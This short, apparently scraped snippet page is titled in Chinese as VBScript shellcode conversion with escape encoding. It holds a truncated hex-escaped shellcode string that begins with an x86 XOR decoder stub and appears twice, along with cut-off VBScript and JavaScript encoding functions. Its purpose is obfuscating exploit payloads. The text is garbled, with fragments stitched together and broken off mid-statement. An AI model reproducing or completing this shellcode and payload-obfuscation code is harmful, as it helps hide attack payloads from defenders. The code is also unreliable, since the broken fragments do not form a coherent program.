vbs shellcode转换escape加密
'code by NetPatch code="\x29\xc9\x83\xe9\xa1\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x92\x06\x5b\x18\x83\xeb\xfc\xe2\xf4\x79\x16\x01\x52\xa1\xcf\x3d\x
'code by NetPatch code="\x29\xc9\x83\xe9\xa1\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x92\x06\x5b\x18\x83\xeb\xfc\xe2\xf4\x79\x16\x01\x52\xa1\xcf\x3d\x
Function Encode(s,n) Dim b b=UCase(s) For i=1 To Len(b) Encode=Encode strVariable = (Encode(myrand,0x21)).toUpperCase( ) function gen(url) { var i=0,
实现代码如下:Dim enTmp,enstr,a,bbenstr=Str2Hex("RHptd4RPFZVOdoVQTrvWTnTp4n6PVN6QTop1tnau1hsU")For i = 1 To Len(enStr) step 6enTmp =Array(Mid(enStr,i,6)&